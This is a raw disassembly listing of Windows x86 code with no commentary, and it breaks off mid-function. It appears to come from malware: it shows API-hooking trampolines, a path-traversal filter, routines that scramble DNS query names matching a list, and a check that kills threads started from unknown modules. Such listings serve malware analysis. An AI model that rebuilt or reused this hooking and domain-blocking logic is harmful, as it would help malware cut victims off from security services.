var_33C		= dword	ptr -33Ch
var_338		= dword	ptr -338h
var_334		= dword	ptr -334h
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
MultiByteStr	= byte ptr -328h
Str2		= word ptr -224h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	32Ch
		push	offset stru_9A2878
		call	__SEH_prolog
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+var_1C], eax
		xor	esi, esi
		mov	[ebp+var_334], esi
		mov	[ebp+ms_exc.disabled], esi
		push	104h		; cchWideChar
		lea	eax, [ebp+Str2]
		push	eax		; lpWideCharStr
		push	0FFFFFFFFh	; cbMultiByte
		lea	eax, [ebp+MultiByteStr]
		push	eax		; lpMultiByteStr
		push	esi		; dwFlags
		push	esi		; CodePage
		call	MultiByteToWideChar
		test	eax, eax
		jz	loc_9A521E
		mov	[ebp+var_33C], esi
		mov	[ebp+var_338], 80004005h
		mov	[ebp+var_32C], esi
		lea	edi, [ebp+var_32C]
		call	sub_9A4C0F
		mov	[ebp+var_338], eax
		cmp	[ebp+var_32C], esi
		jz	short loc_9A5203
		mov	[ebp+var_330], esi
		xor	edi, edi
		inc	edi


loc_9A51CB:				; CODE XREF: sub_9A514A+B7j
		cmp	[ebp+var_330], 14h
		jge	short loc_9A5203
		lea	eax, [ebp+Str2]
		push	eax		; Str2
		mov	eax, [ebp+var_32C]
		call	sub_9A4E45
		pop	ecx
		mov	[ebp+var_33C], eax
		cmp	eax, esi
		jl	short loc_9A5203
		mov	[ebp+var_334], edi
		cmp	eax, edi
		jz	short loc_9A5203
		inc	[ebp+var_330]
		jmp	short loc_9A51CB
; ---------------------------------------------------------------------------


loc_9A5203:				; CODE XREF: sub_9A514A+76j
					; sub_9A514A+88j ...
		push	[ebp+var_338]
		mov	eax, [ebp+var_32C]
		call	sub_9A4C8D
		pop	ecx
		jmp	short loc_9A521E
; ---------------------------------------------------------------------------


loc_9A5217:				; DATA XREF: .text:stru_9A2878o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9A521B:				; DATA XREF: .text:stru_9A2878o
		mov	esp, [ebp+ms_exc.old_esp]


loc_9A521E:				; CODE XREF: sub_9A514A+43j
					; sub_9A514A+CBj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	eax, [ebp+var_334]
		mov	ecx, [ebp+var_1C]
		xor	ecx, ebp
		call	sub_9AAAC1
		call	__SEH_epilog
		retn
sub_9A514A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=78h


sub_9A5238	proc near		; CODE XREF: sub_9AE400+32p
					; sub_9B6504:loc_9B1FE5p

VersionInformation= _OSVERSIONINFOA ptr	-0A0h
var_C		= word ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		lea	ebp, [esp-78h]
		sub	esp, 0A0h
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+78h+var_4], eax
		lea	eax, [ebp+78h+VersionInformation]
		push	eax		; lpVersionInformation
		mov	[ebp+78h+VersionInformation.dwOSVersionInfoSize], 9Ch
		call	GetVersionExA
		test	eax, eax
		jz	short loc_9A5292
		xor	eax, eax
		cmp	[ebp+78h+VersionInformation.dwMajorVersion], 5
		jb	short loc_9A5294
		inc	eax
		cmp	[ebp+78h+VersionInformation.dwMajorVersion], 5
		jnz	short loc_9A5294
		cmp	[ebp+78h+VersionInformation.dwMinorVersion], 0
		jz	short loc_9A5292
		cmp	[ebp+78h+VersionInformation.dwMinorVersion], eax
		jnz	short loc_9A5285
		cmp	[ebp+78h+var_C], 2
		jnb	short loc_9A5294
		jmp	short loc_9A5292
; ---------------------------------------------------------------------------


loc_9A5285:				; CODE XREF: sub_9A5238+42j
		cmp	[ebp+78h+VersionInformation.dwMinorVersion], 2
		jnz	short loc_9A5294
		cmp	[ebp+78h+var_C], 0
		jnz	short loc_9A5294


loc_9A5292:				; CODE XREF: sub_9A5238+28j
					; sub_9A5238+3Dj ...
		xor	eax, eax


loc_9A5294:				; CODE XREF: sub_9A5238+30j
					; sub_9A5238+37j ...
		mov	ecx, [ebp+78h+var_4]
		xor	ecx, ebp
		call	sub_9AAAC1
		add	ebp, 78h
		leave
		retn
sub_9A5238	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A52A3(wchar_t *Str)

sub_9A52A3	proc near		; CODE XREF: sub_9A52FE+Fp

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
Str		= dword	ptr  8

		push	0Ch
		push	offset stru_9A2890
		call	__SEH_prolog
		mov	[ebp+var_1C], 1
		xor	esi, esi
		mov	[ebp+ms_exc.disabled], esi
		cmp	[ebp+Str], esi
		jz	short loc_9A52F1
		push	offset a__	; "\\..\\"
		push	[ebp+Str]	; Str
		call	wcsstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_9A52E5
		push	[ebp+Str]	; Str
		call	wcslen
		pop	ecx
		cmp	eax, 0C8h
		jbe	short loc_9A52F1


loc_9A52E5:				; CODE XREF: sub_9A52A3+2Fj
		mov	[ebp+var_1C], esi
		jmp	short loc_9A52F1
; ---------------------------------------------------------------------------


loc_9A52EA:				; DATA XREF: .text:stru_9A2890o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9A52EE:				; DATA XREF: .text:stru_9A2890o
		mov	esp, [ebp+ms_exc.old_esp]


loc_9A52F1:				; CODE XREF: sub_9A52A3+1Bj
					; sub_9A52A3+40j ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog
		retn
sub_9A52A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_9A52FE(wchar_t *Str,int,int,int,int,int)

sub_9A52FE	proc near		; DATA XREF: sub_9A5B0F+1o

Str		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	dword_9BB2E8, 0
		jz	short loc_9A5322
		push	[ebp+Str]	; Str
		call	sub_9A52A3
		test	eax, eax
		pop	ecx
		jz	short loc_9A5322
		mov	eax, dword_9BB2E8
		add	eax, 4
		pop	ebp
		jmp	eax
; ---------------------------------------------------------------------------


loc_9A5322:				; CODE XREF: sub_9A52FE+Aj
					; sub_9A52FE+17j
		push	57h		; dwErrCode
		call	SetLastError
		push	57h
		pop	eax
		pop	ebp
		retn	18h
sub_9A52FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A5331	proc near		; CODE XREF: sub_9A535E+3Ep

ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	8
		push	offset stru_9A28A0
		call	__SEH_prolog
		mov	eax, [ebp+arg_0]
		and	[ebp+ms_exc.disabled], 0
		mov	cl, [eax]
		or	cl, 70h
		mov	[eax], cl
		jmp	short loc_9A5354
; ---------------------------------------------------------------------------


loc_9A534D:				; DATA XREF: .text:stru_9A28A0o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9A5351:				; DATA XREF: .text:stru_9A28A0o
		mov	esp, [ebp+ms_exc.old_esp]


loc_9A5354:				; CODE XREF: sub_9A5331+1Aj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	__SEH_epilog
		retn
sub_9A5331	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A535E	proc near		; DATA XREF: sub_9A5B2E+1o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	eax, dword_9BB2EC
		test	eax, eax
		jz	short loc_9A53A7
		push	esi
		push	[ebp+arg_10]
		add	eax, 4
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	eax
		cmp	[ebp+arg_4], 22h
		mov	esi, eax
		jnz	short loc_9A53A2
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jnz	short loc_9A53A2
		cmp	[ebp+arg_8], 0
		jz	short loc_9A53A2
		cmp	[ebp+arg_C], 0
		jz	short loc_9A53A2
		push	[ebp+arg_8]
		call	sub_9A5331
		pop	ecx


loc_9A53A2:				; CODE XREF: sub_9A535E+27j
					; sub_9A535E+2Dj ...
		mov	eax, esi
		pop	esi
		jmp	short loc_9A53AA
; ---------------------------------------------------------------------------


loc_9A53A7:				; CODE XREF: sub_9A535E+Aj
		push	57h
		pop	eax


loc_9A53AA:				; CODE XREF: sub_9A535E+47j
		pop	ebp
		retn	14h
sub_9A535E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A53AE(char *lpFirst)

sub_9A53AE	proc near		; CODE XREF: sub_9A53E9+Fp

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
lpFirst		= dword	ptr  8

		push	0Ch
		push	offset stru_9A28B0
		call	__SEH_prolog
		xor	eax, eax
		mov	[ebp+var_1C], eax
		mov	[ebp+ms_exc.disabled], eax
		cmp	[ebp+lpFirst], eax
		jz	short loc_9A53DC
		push	[ebp+lpFirst]	; lpFirst
		call	sub_9A3FB6
		pop	ecx
		mov	[ebp+var_1C], eax
		jmp	short loc_9A53DC
; ---------------------------------------------------------------------------


loc_9A53D5:				; DATA XREF: .text:stru_9A28B0o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9A53D9:				; DATA XREF: .text:stru_9A28B0o
		mov	esp, [ebp+ms_exc.old_esp]


loc_9A53DC:				; CODE XREF: sub_9A53AE+17j
					; sub_9A53AE+25j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog
		retn
sub_9A53AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_9A53E9(char	*lpFirst,int,int,int,int,int)

sub_9A53E9	proc near		; DATA XREF: sub_9A5B4D+5o

lpFirst		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	dword_9BB2F0, 0
		jz	short loc_9A540D
		push	[ebp+lpFirst]	; lpFirst
		call	sub_9A53AE
		test	eax, eax
		pop	ecx
		jnz	short loc_9A540D
		mov	eax, dword_9BB2F0
		add	eax, 4
		pop	ebp
		jmp	eax
; ---------------------------------------------------------------------------


loc_9A540D:				; CODE XREF: sub_9A53E9+Aj
					; sub_9A53E9+17j
		push	5B4h		; dwErrCode
		call	SetLastError
		mov	eax, 5B4h
		pop	ebp
		retn	18h
sub_9A53E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A5421(LPCSTR	lpMultiByteStr)

sub_9A5421	proc near		; CODE XREF: sub_9A54C1+Fp

var_320		= dword	ptr -320h
WideCharStr	= word ptr -31Ch
First		= byte ptr -11Ch
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
lpMultiByteStr	= dword	ptr  8

		push	310h
		push	offset stru_9A28C0
		call	__SEH_prolog
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+lpMultiByteStr]
		xor	edi, edi
		mov	[ebp+var_320], edi
		mov	[ebp+ms_exc.disabled], edi
		cmp	eax, edi
		jz	short loc_9A54A7
		mov	esi, 100h
		push	esi		; cchWideChar
		lea	ecx, [ebp+WideCharStr]
		push	ecx		; lpWideCharStr
		push	0FFFFFFFFh	; cbMultiByte
		push	eax		; lpMultiByteStr
		push	edi		; dwFlags
		push	0FDE9h		; CodePage
		call	MultiByteToWideChar
		test	eax, eax
		jz	short loc_9A54A7
		push	edi		; lpUsedDefaultChar
		push	edi		; lpDefaultChar
		push	esi		; cbMultiByte
		lea	eax, [ebp+First]
		push	eax		; lpMultiByteStr
		push	0FFFFFFFFh	; cchWideChar
		lea	eax, [ebp+WideCharStr]
		push	eax		; lpWideCharStr
		push	edi		; dwFlags
		push	edi		; CodePage
		call	WideCharToMultiByte
		test	eax, eax
		jz	short loc_9A54A7
		lea	eax, [ebp+First]
		push	eax		; lpFirst
		call	sub_9A3FB6
		pop	ecx
		mov	[ebp+var_320], eax
		jmp	short loc_9A54A7
; ---------------------------------------------------------------------------


loc_9A54A0:				; DATA XREF: .text:stru_9A28C0o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9A54A4:				; DATA XREF: .text:stru_9A28C0o
		mov	esp, [ebp+ms_exc.old_esp]


loc_9A54A7:				; CODE XREF: sub_9A5421+29j
					; sub_9A5421+49j ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	eax, [ebp+var_320]
		mov	ecx, [ebp+var_1C]
		xor	ecx, ebp
		call	sub_9AAAC1
		call	__SEH_epilog
		retn
sub_9A5421	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_9A54C1(LPCSTR lpMultiByteStr,int,int,int,int,int)

sub_9A54C1	proc near		; DATA XREF: sub_9A5B4D+1Fo

lpMultiByteStr	= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	dword_9BB2F4, 0
		jz	short loc_9A54E5
		push	[ebp+lpMultiByteStr] ; lpMultiByteStr
		call	sub_9A5421
		test	eax, eax
		pop	ecx
		jnz	short loc_9A54E5
		mov	eax, dword_9BB2F4
		add	eax, 4
		pop	ebp
		jmp	eax
; ---------------------------------------------------------------------------


loc_9A54E5:				; CODE XREF: sub_9A54C1+Aj
					; sub_9A54C1+17j
		push	5B4h		; dwErrCode
		call	SetLastError
		mov	eax, 5B4h
		pop	ebp
		retn	18h
sub_9A54C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A54F9	proc near		; CODE XREF: sub_9A556B+Fp

var_120		= dword	ptr -120h
First		= byte ptr -11Ch
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	110h
		push	offset stru_9A28D0
		call	__SEH_prolog
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+var_1C], eax
		xor	eax, eax
		mov	[ebp+ms_exc.disabled], eax
		cmp	ecx, eax
		jz	short loc_9A5554
		push	eax		; lpUsedDefaultChar
		push	eax		; lpDefaultChar
		push	100h		; cbMultiByte
		lea	edx, [ebp+First]
		push	edx		; lpMultiByteStr
		push	0FFFFFFFFh	; cchWideChar
		push	ecx		; lpWideCharStr
		push	eax		; dwFlags
		push	eax		; CodePage
		call	WideCharToMultiByte
		test	eax, eax
		jz	short loc_9A5554
		lea	eax, [ebp+First]
		push	eax		; lpFirst
		call	sub_9A3FB6
		pop	ecx
		mov	[ebp+var_120], eax
		jmp	short loc_9A5554
; ---------------------------------------------------------------------------


loc_9A554D:				; DATA XREF: .text:stru_9A28D0o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9A5551:				; DATA XREF: .text:stru_9A28D0o
		mov	esp, [ebp+ms_exc.old_esp]


loc_9A5554:				; CODE XREF: sub_9A54F9+20j
					; sub_9A54F9+3Dj ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		xor	eax, eax
		inc	eax
		mov	ecx, [ebp+var_1C]
		xor	ecx, ebp
		call	sub_9AAAC1
		call	__SEH_epilog
		retn
sub_9A54F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A556B	proc near		; DATA XREF: sub_9A5B4D+36o

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	dword_9BB2F8, 0
		jz	short loc_9A558E
		mov	ecx, [ebp+arg_0]
		call	sub_9A54F9
		test	eax, eax
		jnz	short loc_9A558E
		mov	eax, dword_9BB2F8
		add	eax, 4
		pop	ebp
		jmp	eax
; ---------------------------------------------------------------------------


loc_9A558E:				; CODE XREF: sub_9A556B+Aj
					; sub_9A556B+16j
		push	5B4h		; dwErrCode
		call	SetLastError
		mov	eax, 5B4h
		pop	ebp
		retn	18h
sub_9A556B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A55A2	proc near		; CODE XREF: .text:009A5630p

var_120		= dword	ptr -120h
First		= byte ptr -11Ch
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	110h
		push	offset stru_9A28E0
		call	__SEH_prolog
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+var_1C], eax
		xor	eax, eax
		mov	[ebp+var_120], eax
		mov	[ebp+ms_exc.disabled], eax
		cmp	ecx, eax
		jz	short loc_9A5609
		mov	ecx, [ecx]
		cmp	ecx, eax
		jz	short loc_9A5609
		push	eax		; lpUsedDefaultChar
		push	eax		; lpDefaultChar
		push	100h		; cbMultiByte
		lea	edx, [ebp+First]
		push	edx		; lpMultiByteStr
		push	0FFFFFFFFh	; cchWideChar
		push	ecx		; lpWideCharStr
		push	eax		; dwFlags
		push	eax		; CodePage
		call	WideCharToMultiByte
		test	eax, eax
		jz	short loc_9A5609
		lea	eax, [ebp+First]
		push	eax		; lpFirst
		call	sub_9A3FB6
		pop	ecx
		mov	[ebp+var_120], eax
		jmp	short loc_9A5609
; ---------------------------------------------------------------------------


loc_9A5602:				; DATA XREF: .text:stru_9A28E0o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9A5606:				; DATA XREF: .text:stru_9A28E0o
		mov	esp, [ebp+ms_exc.old_esp]


loc_9A5609:				; CODE XREF: sub_9A55A2+26j
					; sub_9A55A2+2Cj ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	eax, [ebp+var_120]
		mov	ecx, [ebp+var_1C]
		xor	ecx, ebp
		call	sub_9AAAC1
		call	__SEH_epilog
		retn
sub_9A55A2	endp

; ---------------------------------------------------------------------------


loc_9A5623:				; DATA XREF: sub_9A5B4D+4Do
		cmp	dword_9BB2FC, 0
		jz	short loc_9A5643
		mov	ecx, [esp+4]
		call	sub_9A55A2
		test	eax, eax
		jnz	short loc_9A5643
		mov	eax, dword_9BB2FC
		add	eax, 4
		jmp	eax
; ---------------------------------------------------------------------------


loc_9A5643:				; CODE XREF: .text:009A562Aj
					; .text:009A5637j
		push	5B4h
		call	SetLastError
		mov	eax, 5B4h
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A5656	proc near		; CODE XREF: sub_9A58BD+12p
					; sub_9A58F0+2Cp

var_248		= dword	ptr -248h
var_244		= dword	ptr -244h
Dst		= dword	ptr -240h
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	238h
		push	offset stru_9A28F0
		call	__SEH_prolog
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+var_1C], eax
		xor	ebx, ebx
		mov	[ebp+var_244], ebx
		mov	[ebp+ms_exc.disabled], ebx
		call	GetCurrentProcessId
		push	eax		; th32ProcessID
		push	8		; dwFlags
		call	CreateToolhelp32Snapshot
		mov	edi, eax
		mov	[ebp+var_248], edi
		cmp	edi, 0FFFFFFFFh
		jz	short loc_9A570F
		mov	esi, 224h
		push	esi		; Size
		push	ebx		; Val
		lea	eax, [ebp+Dst]
		push	eax		; Dst
		call	memset
		add	esp, 0Ch
		mov	[ebp+Dst], esi
		lea	eax, [ebp+Dst]
		push	eax		; lpme
		push	edi		; hSnapshot
		call	Module32First
		jmp	short loc_9A56FB
; ---------------------------------------------------------------------------


loc_9A56C0:				; CODE XREF: sub_9A5656+A7j
		mov	eax, [ebp+var_22C]
		cmp	[ebp+arg_0], eax
		jb	short loc_9A56EE
		mov	ecx, [ebp+var_228]
		add	ecx, eax
		cmp	[ebp+arg_0], ecx
		jnb	short loc_9A56EE
		cmp	[ebp+arg_4], ebx
		jz	short loc_9A56E2
		cmp	eax, [ebp+arg_4]
		jnz	short loc_9A56EE


loc_9A56E2:				; CODE XREF: sub_9A5656+85j
		mov	[ebp+var_244], 1
		jmp	short loc_9A56FF
; ---------------------------------------------------------------------------


loc_9A56EE:				; CODE XREF: sub_9A5656+73j
					; sub_9A5656+80j ...
		lea	eax, [ebp+Dst]
		push	eax		; lpme
		push	edi		; hSnapshot
		call	Module32Next


loc_9A56FB:				; CODE XREF: sub_9A5656+68j
		test	eax, eax
		jnz	short loc_9A56C0


loc_9A56FF:				; CODE XREF: sub_9A5656+96j
		push	edi		; hObject
		call	CloseHandle
		jmp	short loc_9A570F
; ---------------------------------------------------------------------------


loc_9A5708:				; DATA XREF: .text:stru_9A28F0o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9A570C:				; DATA XREF: .text:stru_9A28F0o
		mov	esp, [ebp+ms_exc.old_esp]


loc_9A570F:				; CODE XREF: sub_9A5656+3Dj
					; sub_9A5656+B0j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	eax, [ebp+var_244]
		mov	ecx, [ebp+var_1C]
		xor	ecx, ebp
		call	sub_9AAAC1
		call	__SEH_epilog
		retn
sub_9A5656	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A5729	proc near		; CODE XREF: sub_9A57C1+7Ap

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	18h
		push	offset stru_9A2900
		call	__SEH_prolog
		xor	edi, edi
		mov	[ebp+var_24], edi
		mov	[ebp+ms_exc.disabled], edi
		mov	esi, [ebp+arg_0]
		add	esi, 0Ch
		mov	[ebp+var_1C], esi


loc_9A5746:				; CODE XREF: sub_9A5729+95j
		mov	[ebp+var_20], edi


loc_9A5749:				; CODE XREF: sub_9A5729+8Bj
		cmp	edi, [ebp+arg_C]
		jnb	short loc_9A5762
		mov	al, [esi]
		test	al, al
		jnz	short loc_9A5774
		mov	[ebp+var_24], 1
		mov	eax, [ebp+arg_8]
		mov	byte ptr [edi+eax], 0


loc_9A5762:				; CODE XREF: sub_9A5729+23j
					; sub_9A5729+5Dj ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	nullsub_3
		mov	eax, [ebp+var_24]
		call	__SEH_epilog
		retn
; ---------------------------------------------------------------------------


loc_9A5774:				; CODE XREF: sub_9A5729+29j
		movsx	ebx, al
		mov	[ebp+var_28], ebx
		inc	esi
		mov	[ebp+var_1C], esi
		mov	eax, esi
		sub	eax, [ebp+arg_0]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_9A5762
		push	ebx		; Size
		push	esi		; Src
		mov	eax, [ebp+arg_8]
		add	eax, edi
		push	eax		; Dst
		call	memcpy
		add	esp, 0Ch
		add	esi, ebx
		mov	[ebp+var_1C], esi
		add	edi, ebx
		mov	[ebp+var_20], edi
		cmp	edi, [ebp+arg_C]
		jnb	short loc_9A5762
		mov	eax, esi
		sub	eax, [ebp+arg_0]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_9A5762
		cmp	byte ptr [esi],	0
		jz	short loc_9A5749
		mov	eax, [ebp+arg_8]
		mov	byte ptr [edi+eax], 2Eh
		inc	edi
		jmp	short loc_9A5746
sub_9A5729	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A57C1	proc near		; CODE XREF: sub_9A58BD+23p

var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
First		= byte ptr -120h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	11Ch
		push	offset stru_9A2910
		call	__SEH_prolog
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+var_1C], eax
		mov	esi, edx
		xor	edi, edi
		mov	[ebp+ms_exc.disabled], edi
		mov	[ebp+var_128], esi
		mov	al, [esi+2]
		test	al, 78h
		jnz	loc_9A58A9
		test	al, 1
		jz	loc_9A58A9
		cmp	[esi+6], di
		jnz	loc_9A58A9
		cmp	[esi+8], di
		jnz	loc_9A58A9
		cmp	[esi+0Ah], di
		jnz	loc_9A58A9
		cmp	byte ptr [esi+ecx-5], 0
		jnz	loc_9A58A9
		cmp	dword ptr [esi+ecx-4], 1000100h
		jnz	short loc_9A58A9
		push	104h
		lea	eax, [ebp+First]
		push	eax
		push	ecx
		push	esi
		call	sub_9A5729
		add	esp, 10h
		test	eax, eax
		jz	short loc_9A58A9
		lea	eax, [ebp+First]
		push	eax		; lpFirst
		call	sub_9A3FB6
		pop	ecx
		test	eax, eax
		jz	short loc_9A58A9
		lea	eax, [ebp+First]
		push	eax		; Str
		call	strlen
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_12C], ebx
		mov	[ebp+var_124], edi


loc_9A5873:				; CODE XREF: sub_9A57C1+DAj
		cmp	[ebp+var_124], ebx
		jnb	short loc_9A589D
		call	rand
		xor	edx, edx
		push	1Ah
		pop	ecx
		div	ecx
		add	edx, 61h
		mov	eax, [ebp+var_124]
		mov	[esi+eax+0Dh], dl
		inc	[ebp+var_124]
		jmp	short loc_9A5873
; ---------------------------------------------------------------------------


loc_9A589D:				; CODE XREF: sub_9A57C1+B8j
		mov	[esi+0Ch], bl
		jmp	short loc_9A58A9
; ---------------------------------------------------------------------------


loc_9A58A2:				; DATA XREF: .text:stru_9A2910o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9A58A6:				; DATA XREF: .text:stru_9A2910o
		mov	esp, [ebp+ms_exc.old_esp]


loc_9A58A9:				; CODE XREF: sub_9A57C1+2Bj
					; sub_9A57C1+33j ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	ecx, [ebp+var_1C]
		xor	ecx, ebp
		call	sub_9AAAC1
		call	__SEH_epilog
		retn
sub_9A57C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A58BD	proc near		; DATA XREF: sub_9A5BCD+16o

arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 12h
		jl	short loc_9A58E5
		push	dword_9BB308
		push	dword ptr [ebp+4]
		call	sub_9A5656
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_9A58E5
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+arg_4]
		call	sub_9A57C1


loc_9A58E5:				; CODE XREF: sub_9A58BD+7j
					; sub_9A58BD+1Bj
		mov	eax, dword_9BB300
		add	eax, 4
		pop	ebp
		jmp	eax
sub_9A58BD	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A58F0	proc near		; DATA XREF: sub_9A58F0+2o
					; sub_9A5C69+1o
		xor	eax, eax
		cmp	eax, offset sub_9A58F0
		jnz	short loc_9A58FD
		inc	eax
		retn	8
; ---------------------------------------------------------------------------


loc_9A58FD:				; CODE XREF: sub_9A58F0+7j
		mov	eax, dword_9BB0CC
		test	eax, eax
		mov	ecx, [esp+0]
		jz	short loc_9A5919
		cmp	ecx, eax
		jb	short loc_9A5919
		mov	edx, dword_9BB0D0
		add	edx, eax
		cmp	ecx, edx
		jb	short loc_9A592E


loc_9A5919:				; CODE XREF: sub_9A58F0+17j
					; sub_9A58F0+1Bj
		push	0
		push	ecx
		call	sub_9A5656
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_9A592E
		push	eax		; dwExitCode
		call	ExitThread
; ---------------------------------------------------------------------------


loc_9A592E:				; CODE XREF: sub_9A58F0+27j
					; sub_9A58F0+35j
		mov	eax, dword_9BB304
		add	eax, 4
		jmp	eax
sub_9A58F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A5938(void *Dst)

sub_9A5938	proc near		; CODE XREF: sub_9A5A91+59p

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
flOldProtect	= dword	ptr -38h
var_34		= dword	ptr -34h
nPriority	= dword	ptr -30h
hThread		= dword	ptr -2Ch
lpAddress	= dword	ptr -28h
Src		= byte ptr -24h
var_23		= dword	ptr -23h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
Dst		= dword	ptr  8

		push	38h
		push	offset stru_9A2920
		call	__SEH_prolog
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+var_1C], eax
		mov	ebx, ecx
		mov	[ebp+lpAddress], ebx
		mov	edi, edx
		mov	esi, [ebp+Dst]
		and	[ebp+var_34], 0
		call	GetCurrentThread
		mov	[ebp+hThread], eax
		push	eax		; hThread
		call	GetThreadPriority
		mov	[ebp+nPriority], eax
		and	[ebp+ms_exc.disabled], 0
		push	2Ch		; Size
		push	0		; Val
		push	esi		; Dst
		call	memset
		add	esp, 0Ch
		mov	[esi+28h], edi
		mov	[esi+24h], ebx
		mov	[ebp+var_3C], ebx
		xor	ebx, ebx
		mov	[ebp+var_44], ebx
		mov	[ebp+var_48], 5


loc_9A5995:				; CODE XREF: sub_9A5938+ACj
		cmp	ebx, 5
		jge	short loc_9A59F1
		mov	eax, [ebp+var_3C]
		add	eax, ebx
		push	eax
		call	sub_9AA660
		mov	[ebp+var_40], eax
		lea	ecx, [esi+ebx+4]
		push	eax		; Size
		mov	eax, [ebp+var_3C]
		add	eax, ebx
